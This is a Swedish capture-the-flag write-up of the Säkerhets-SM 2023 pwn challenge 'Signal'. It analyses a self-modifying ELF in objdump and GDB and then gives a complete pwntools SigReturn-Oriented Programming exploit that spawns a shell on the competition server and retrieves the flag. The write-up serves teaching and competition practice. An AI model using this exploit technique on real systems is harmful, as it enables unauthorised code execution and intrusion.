Writeup for Säkerhets-SM kval 2023 utmaningen Signal
Vi kör på svenska den här gången eftersom det handlar om Säkerhets-SM kvaltävling. Ifall någon undrar varför en del rubriker ändå är på engelska så försöker jag alltid lägga ut struklturen enligt faserna i CEH, lite för att man ska känna igen var man är och varför man gör saker.
Tävlingen genomfördes den 10 mars, 20:00 till den 12 mars, 20:00. Säkerhets-SM är en nationell Capture The Flag tävling. Huvudsyftet är att sätta ihop ett landslag bestående av 5-10 gymnasielever. Detta landslag får sedan tävla i ECSC (European Cybersecurity Challenge) som anordnas av EU:s cybersäkerhetsbyrå. Denna tävling är att betrakta som EM i cybersäkerhet. Finalen hålls den 12-14 maj på Chalmers tekniska högskola med de ~30 bästa eleverna från den här kvaltävlingen.
Tävlingen fokuserar på problemlösning inom områdena programmering, kryptografi, binär exploatering, reverse engineering, webbsäkerhet och forensik. Uppgifterna varierar från nybörjarvänliga till riktigt kluriga, så även om man aldrig deltagit i en CTF förut så kan man delta. Framför allt så lär man sig mycket av att delta. Här tänkte jag gå igenom en av utmaningarna i klassen binär exploatering. Den här utmaningen var den som gav mest poäng inom pwn klassen och alltså den som ansågs ha högst svårighetsgrad. Jag är inte helt överens med den graderingen men visst det fanns ett mått av WTF??? när man började analysera binären.
Recon
Så här såg det ut när man först tog sig an utmaningen.
Man möts av en liten ledtråd och det är uppenbart att utmaningens namn är centralt här. Vi kan ladda ned en binär och vi får en IP-address och en port som vi kan ansluta till. Vi förutsätter att det är binären som svarar där på porten så låt oss skrida till verket.
Scanning
Statisk analys av binären
Vi börjar med att kontrollera vad den nedladdade binären är för ett djur.
┌──(root㉿13f662c4481e)-[/]
└─# file signal
signal: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
Så vi har en 64-bitars exekverbar ELF. Vi befinner oss alltså i Linuxland och det är väl lika bra att vi provkör den och ser vad som händer.
┌──(root㉿13f662c4481e)-[/]
└─# chmod +x signal
┌──(root㉿13f662c4481e)-[/]
└─# ./signal
Segmentation fault
Ehh, okej? Den presenterade en tom prompt och när jag tryckte enter fick vi ett Segmentation Fault. Det har nog blivit dags att ladda den här i Ghidra och se vad som egentligen händer. Vi skapar ett ssm23 projekt och lägger till binären.
Dags att klicka på den magiska draken och analysera binären.
Ehhh???? Vi möts av en enda stor tomhet. Vad är detta för svart magi som pågår??? Vi får ta ett steg tillbaka till den underbara världen av kommandoradsverktyg.
┌──(root㉿13f662c4481e)-[/]
└─# objdump -f signal -d -M intel
signal: file format elf64-x86-64
architecture: i386:x86-64, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x0000000000400088
Disassembly of section .text:
0000000000400080 <_start-0x8>:
400080: 2f (bad)
400081: 62 (bad)
400082: 69 .byte 0x69
400083: 6e outs dx,BYTE PTR ds:[rsi]
400084: 2f (bad)
400085: 73 68 jae 4000ef <_end+0x4f>
...
0000000000400088 <_start>:
400088: 66 81 2d 03 00 00 00 sub WORD PTR [rip+0x3],0xf002 # 400094 <_start+0xc>
40008f: 02 f0
400091: 48 89 e6 mov rsi,rsp
400094: bc ef 00 00 00 mov esp,0xef
400099: 0f 05 syscall
40009b: eb eb jmp 400088 <_start>
Okej, det här förklarar saken. Det där var nog ett av de mest minimala program jag någonsin har sett. Kan de där få maskinkodsinstruktionerna verkligen göra något vettigt? Det är ju knappast en normal linuxapplikation här utan något mer mystiskt. Låt oss analysera koden en smula.
0000000000400088 <_start>:
400088: 66 81 2d 03 00 00 00 sub WORD PTR [rip+0x3],0xf002 # 400094 <_start+0xc>
40008f: 02 f0
400091: 48 89 e6 mov rsi,rsp
400094: bc ef 00 00 00 mov esp,0xef
400099: 0f 05 syscall
40009b: eb eb jmp 400088 <_start>
Den första intstruktionen sub WORD PTR [rip+0x3],0xf002
där är ju rätt suspekt må jag säga. Det ser helt enkelt ut att vara självmodifierande kod. Ett värde subtraheras från address 0x4000099 vilket är en bit längre ner i programmet. Därefter kopieras stackpekaren till $rsi registret ( mov rsi,rsp
). Nästa rad är den raden som modifieras av den första instruktionen så den kan vi ignorera för stunden. Därefter görs det ett syscall
och när det returnerat hoppar vi tillbaka till början av programmet igen jmp 400088
.
Kan det här lilla programmet med 5 instruktioner verkligen göra något vettigt? För att ta reda på det tror jag det krävs lite mer dynamisk analys. Klart enklare att se vad den självmodifierande koden gör i en debugger än att försöka räkna ut det.
Dynamisk analys av binären
Vi tar helt enkelt och fyrar av den gamla goda GDB. Observera att jag kör med GEF plugin för att få lite fina extra funktioner. Om vi laddar programmet ser det ut så här.
┌──(root㉿13f662c4481e)-[/]
└─# gdb signal
GNU gdb (Debian 13.1-2) 13.1
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11
Reading symbols from signal...
(No debugging symbols found in signal)
gef➤ start
warning: Error disabling address space randomization: Operation not permitted
[+] Breaking at '0x400088'
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffc95b15000'
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x0
$rdx : 0x0
$rsp : 0x007ffc95ad20f0 → 0x0000000000000001
$rbp : 0x0
$rsi : 0x0
$rdi : 0x0
$rip : 0x00000000400088 → <_start+0> sub WORD PTR [rip+0x3], 0xf002 # 0x400094 <_start+12>
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0
$r11 : 0x0
$r12 : 0x0
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────── stack ────
0x007ffc95ad20f0│+0x0000: 0x0000000000000001 ← $rsp
0x007ffc95ad20f8│+0x0008: 0x007ffc95ad37ae → 0x6c616e6769732f ("/signal"?)
0x007ffc95ad2100│+0x0010: 0x0000000000000000
0x007ffc95ad2108│+0x0018: 0x007ffc95ad37b6 → 0x5245545f5353454c
0x007ffc95ad2110│+0x0020: 0x007ffc95ad37cb → 0x5245545f5353454c
0x007ffc95ad2118│+0x0028: 0x007ffc95ad37e0 → "HOSTNAME=13f662c4481e"
0x007ffc95ad2120│+0x0030: 0x007ffc95ad37f6 → 0x313d4c564c4853 ("SHLVL=1"?)
0x007ffc95ad2128│+0x0038: 0x007ffc95ad37fe → "HOME=/root"
─────────────────────────────────────────────────────────────── code:x86:64 ────
→ 0x400088 <_start+0> sub WORD PTR [rip+0x3], 0xf002 # 0x400094 <_start+12>
0x400091 <_start+9> mov rsi, rsp
0x400094 <_start+12> mov esp, 0xef
0x400099 <_start+17> syscall
0x40009b <_start+19> jmp 0x400088 <_start>
0x40009d add BYTE PTR [rax], al
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "signal", stopped 0x400088 in _start (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400088 → _start()
────────────────────────────────────────────────────────────────────────────────
gef➤
Debuggern står nu redo att exekvera den där första instruktionen som modifierar koden längre ner i programmet. Låt oss köra kommandot si för att stega debuggern ett steg. Mycket intressant nu ser programmet ut så här:
0x400087 add BYTE PTR [rsi-0x7f], ah
0x40008a <_start+2> sub eax, 0x3
0x40008f <_start+7> add dh, al
→ 0x400091 <_start+9> mov rsi, rsp
0x400094 <_start+12> mov edx, 0xff
0x400099 <_start+17> syscall
Notera att instruktionen på address $400094 nu har modifierats till mov edx, 0xff
. Då har vi den första iterationen av självmodifiering klar och den ser alltså ut som ovan. Vi tar och använder några till si så att vi stegar ner till syscall och stannar precis innan den instruktionen exekveras.
gef➤ disassemble
Dump of assembler code for function _start:
0x0000000000400088 <+0>: sub WORD PTR [rip+0x3],0xf002 # 0x400094 <_start+12>
0x0000000000400091 <+9>: mov rsi,rsp
0x0000000000400094 <+12>: mov edx,0xff
=> 0x0000000000400099 <+17>: syscall
0x000000000040009b <+19>: jmp 0x400088 <_start>
End of assembler dump.
Vi är nu på väg att göra ett syscall. För att reda ut vilket så tar vi och listar alla register.
gef➤ registers
$rax : 0x0
$rbx : 0x0
$rcx : 0x0
$rdx : 0xff
$rsp : 0x007ffc95ad20f0 → 0x0000000000000001
$rbp : 0x0
$rsi : 0x007ffc95ad20f0 → 0x0000000000000001
$rdi : 0x0
$rip : 0x00000000400099 → <_start+17> syscall
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0
$r11 : 0x0
$r12 : 0x0
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero CARRY parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
Nu har vi en idé om vad registren innehåller innan syscall så vi borde kunna lista ut vad som händer. En bra referens när det gäller syscalls under linx 64-bit är den här sidan. Och om vi tar en närmare titt på den så ser det ut så här:
Vi kan konstatera att innehållet i $rax
bestämmer vilket syscall som kommer att anropas. Vi kunde tidigare se att $rax
innehöll 0. Med andra ord är det syscall read som kommer att anropas. Enligt tabellen så ska $rdi
då innehålla en filpekare att läsa ifrån, $rsi
skall innehålla en pekare till minnet där det som ska läsas lagras och $rdx
skall innehålla maximal längd på det som skall läsas in. Så låt oss kika på dessa register från dumpen ovan.
$rax : 0x0
$rdx : 0xff
$rsp : 0x007ffc95ad20f0 → 0x0000000000000001
$rsi : 0x007ffc95ad20f0 → 0x0000000000000001
$rdi : 0x0
Så där såg det alltså ut och slutsatsen blir:
Eftersom $rax = 0 så gör vi syscall read. $rdi innehåller också 0 som är filpekaren till stdio, vi kommer alltså att läsa data från stdio och i det här fallet vad vi matar in via tangentbordet. $rdx innehåller 255 och det är den maximala längden på det vi läser in. Tills sist kan vi se att $rsi pekar på samma address som $rsp. Det vi läser in kommer alltså att hamna på stacken. Här skulle man kunna tänka sig lite stack smashing men vi ser inga lämpliga ret instruktioner att använda oss av här. Så låt oss stega igenom ett varv och se vad som händer. Jag matar in “aaaa” från tangentbordet och stegar sedan igenom ett varv till med si kommandot så att vi åter igen står vid syscall. Nu ser det ut så här:
0x0000000000400088 <+0>: sub WORD PTR [rip+0x3],0xf002 # 0x400094 <_start+12>
0x0000000000400091 <+9>: mov rsi,rsp
0x0000000000400094 <+12>: mov eax,0xf
=> 0x0000000000400099 <+17>: syscall
0x000000000040009b <+19>: jmp 0x400088 <_start>
Koden har åter igen modifierats av sig själv och på address 0x400094 finns nu instruktionen mov eax,0xf
. Vi kan konstatera att varv två i loopen kör syscall 0xf istället. Tillbaka till tabellen och kika vad det är för något.
Så 0xf är syscall rt_sigreturn. Det kan vi läsa med om här.
If the Linux kernel determines that an unblocked signal is
pending for a process, then, at the next transition back to user
mode in that process (e.g., upon return from a system call or
when the process is rescheduled onto the CPU), it creates a new
frame on the user-space stack where it saves various pieces of
process context (processor status word, registers, signal mask,
and signal stack settings).
The kernel also arranges that, during the transition back to user
mode, the signal handler is called, and that, upon return from
the handler, control passes to a piece of user-space code
commonly called the "signal trampoline". The signal trampoline
code in turn calls sigreturn().
This sigreturn() call undoes everything that was done—changing
the process's signal mask, switching signal stacks (see
sigaltstack(2))—in order to invoke the signal handler. Using the
information that was earlier saved on the user-space stack
sigreturn() restores the process's signal mask, switches stacks,
and restores the process's context (processor flags and
registers, including the stack pointer and instruction pointer),
so that the process resumes execution at the point where it was
interrupted by the signal.
Okej , en hel del detaljer om kommunikation mellan kärnan och user space. Jag kan konstatera att det känns som en känslig sak som det skulle kunna finnas sårbarheter i. En vag klocka ringde också långt bak i huvudet och gjorde gällande att jag stött på något liknande förrut. Några snabba googlingar på ämnet ledde hit.
The name of the game är SROP. Det verkar som att vi skulle kunna skicka lite mysiga saker vi stdio till stacken och sedan få kod exekverad. Vi vill ju såklart skaffa oss ett shell och det brukar man kunna åstadkomma genom syscall 0x3b execve. För att kunna genomföra detta behöver vi två saker.
- En fast address med instruktionen syscall
- En fast address med strängen “/bin/sh”
Först tar vi och kollar hur binärens säkerhetssinställningar ser ut.
┌──(root㉿13f662c4481e)-[/]
└─# checksec signal
[*] '/signal'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400080)
RWX: Has RWX segments
Okej precis allt är avstängt. Vid närmare eftertanke borde jag insett det redan eftersom koden kunde modifiera sig själv. Normalt får inte en process skriva över sitt eget kodminne. Då kan vi konstatera att basen är 0x400000 och att addressen till syscall 0x400099 kommer att vara fast och ej ändras. Men vi måste även få till en “/bin/sh” sträng. Gissningsvis är ju ASLR påslaget på servern så vi vet inte på vilken address stacken finns. Det kanske vi kan arbeta runt på något sätt men låt oss först se vad som finns i binären.
gef➤ search-pattern "/bin/sh"
[+] Searching '/bin/sh' in memory
[+] In '/signal'(0x400000-0x401000), permission=rwx
0x400080 - 0x400087 → "/bin/sh"
[!] Cannot access memory at address 0xffffffffff600000
Men så trevligt på address 0x400080 har vi strängen vi behöver. Det verkar som att tillverkarna av den här utmaningen varit lite snälla och lämnat den där, kanske inte så völdigt real world men okej. Då är det väl bara att skrida till verket och börja tillverka en exploit.
Gaining Access
Skriv exploit kod
Redan i artikeln gällande SigReturn Oriented Programming (SROP) fanns ju lite exempelkod. Så baserat på den klipper jag in de addresser vi behöver och slöjdar ihop följande exploit:
from pwn import *
elf = context.binary = ELF('./signal', checksec=False)
p = process('./signal')
#p = remote('35.217.22.30', 50000)
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = 0x400080 # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = 0x400099 # pointer to syscall
p.sendline(bytes(frame))
p.interactive()
Med hjälp av pwntools kan vi alltså skapa en stack frame med en korrekt sigcontext structure. Jag känner ett stort självörtroende gällande den här exploiten men vi provar väl lokalt först för att se huruvida det verkar fungera.
┌──(root㉿13f662c4481e)-[/]
└─# python3 exploit.py
[+] Starting local process './signal': pid 6090
[*] Switching to interactive mode
$ ls
bin dev exploit.py lib lib64 media opt root sbin srv tmp var
boot etc home lib32 libx32 mnt proc run signal sys usr
Jodå vi verkar ha spawnat ett shell precis som förväntat. Låt oss ändra koden för att köra mot vårt mål istället.
from pwn import *
elf = context.binary = ELF('./signal', checksec=False)
#p = process('./signal')
p = remote('35.217.22.30', 50000)
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = 0x400080 # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = 0x400099 # pointer to syscall
p.sendline(bytes(frame))
p.interactive()
Och så tar vi och fyrar av den mot Säkerhets-SM:s CTF-server.
┌──(root㉿13f662c4481e)-[/]
└─# python3 exploit.py
[+] Opening connection to 35.217.22.30 on port 50000: Done
[*] Switching to interactive mode
$ ls
flag.txt
signal
$ cat flag.txt
SSM{sys_r7_s1gr37rn_1s_v3ry_us3fu11}
BOOOM!!! Vi har ett shell och en flagga och vi kan fortsätta med nästa uppgift.
Summary
Säkerhets-SM sponsras av ett antal företag, myndigheter från branschen samt Chalmers. Ett stort tack till dessa för en väl arrangerad, återkommande och trevlig CTF.
Vi på Cybix var även med i CTF:en förra året, då liksom nu i klassen utom tävlan. Undertecknad m.fl. är lite för gamla för gymnasiet så vi kvalifiucerar oss inte riktigt för tävlande :) . Eftersom vi toppade klassen utom tävlan förra året ville vi ju såklart vara med igen och försöka försvara “titeln”.
Det gick inte riktigt hela vägen den här gången då ett annat lag löste samtliga uppgifter på 48h, något vi inte mäktade med. “VI” var förövrigt undertecknad och Christer Ohlsson som är min partner in crime vad gäller krypto. Jag överlåter med varm hand alla krypto uppgifter till honom. Så ett litet 2-mannalag var vad vi kunde uppbåda.
Värt att notera är också att det presenteras en lista med samtliga lag både inom och utom tävlan. Där dyker vi upp först på fjärde plats och är alltså slagna av två lag med gymnasieelever!!! Det ena laget löste dessutom samtliga uppgifter. Jag är MYCKET imponerad!!! De här personerna kommer att vara ett mycket välkommet tillskott till branschen när de så småningom lämnar studierna.
Vad gäller själva CTF:en så är omdömmet helt okej. Det är ett antal väldigt enkla introuppgifter för att komma igång. Det finns ett antal lite mer avancerad uppgifter och åtminstone en uppgift i varje kategori som är lite mer avancerad. Så här såg årets challenge board ut:
Som ni kan se var det ett gäng utmaningar som vi inte löste (de blåa). Någon reversing och några web rymdes helt enkelt inte inom våra 48 timmar. Sedan var det att antal uppgifter som undertecknad inte orkade lägga någon energi på då de var av typen pussel som inte direkt har med säkerhet att göra på något naturtroget sätt.
Som jag tidigare deklarerat är mina preferenser gällande CTF:er åt det verklighetstrogna hållet. Som ni kunde se även i signal utmaningen så fanns ett visst mått av inte särskilt realistiska inslag. Och däri ligger väl min enda kritk av CTF:en. Det är ett ganska stort inslag av uppgifter som enbart är gissa, pussel och hjärngympa. MEN med det sagt så är ju inte den här tävlingen riktad till mig utan till yngre förmågor som snart ska ut i arbetslivet. Så det kan nog vara så att det är helt rätt nivå på upplägg på utmaningar.
Och för den som tycker att en tävling med huvudsyfte att ta ut gymnasielever till ett landslag verkar lite väl enkelt för etablerade branschproffs så har jag en uppmaning: Jag ser fram emot att se er på scoreboardet 2024. Det finns självklart betydligt mer avancerade CTF:er än den här men man lär sig alltid något.
Tills sist så har jag funderat lite på det här med Binär exploatering. Det är ju något jag brinner en del för då jag kodat assembler sedan 13-14-års åldern. Men jag börjar inse att den här typen av exploatering börjar nå vägs ände. Okej, det kommer alltid att finnas sårbarheter men attackytan är drastiskt minskad. Först genom tekniker som ASLR, PIE, RELRO, Canaries, NX som funnits sedan länge. Dessa har ju mer eller mindre stoppat det mesta gällande vanliga buffer overflow sårbarheter.
Istället har det ju glidit över till mer avancerade heap exploit tekniker som bl.a. hittats i ganska stor mängd i webläsare. Men nu kommer ännu mer stöd direkt i CPU:er för bl.a. Control-flow Enforcement Technology (CET). Jag säger inte att binär exploatering kommer att vara omöjligt framöver. Det kommer alltid att finnas nya sårbarheter som upptäcks men attackytan blir mindre och mindre och attackerna blir mer och mer avancerade att lyckas med.
Frågan är om exploiting som i den här writeupen är meningsfullt att kunna framöver. Förmodligen inte som ett verktyg för pentest, men samtidigt är det en viktig del i Cybersäkerhet att faktiskt förstå hur en dator fungerar. Först då kan man få en riktig förståelse för hela attackytan och hur saker och ting faktiskt hänger ihop. Kontentan är nog att jag kommer att bevaka området och förmodligen skriva mindre om binär exploatering i takt med att det minskar som företeelse. Men räkna med några inlägg när jag hittar saker som jag tycker det är viktigt att förstå.
Tills nästa gång, glatt hackande!
/f1rstr3am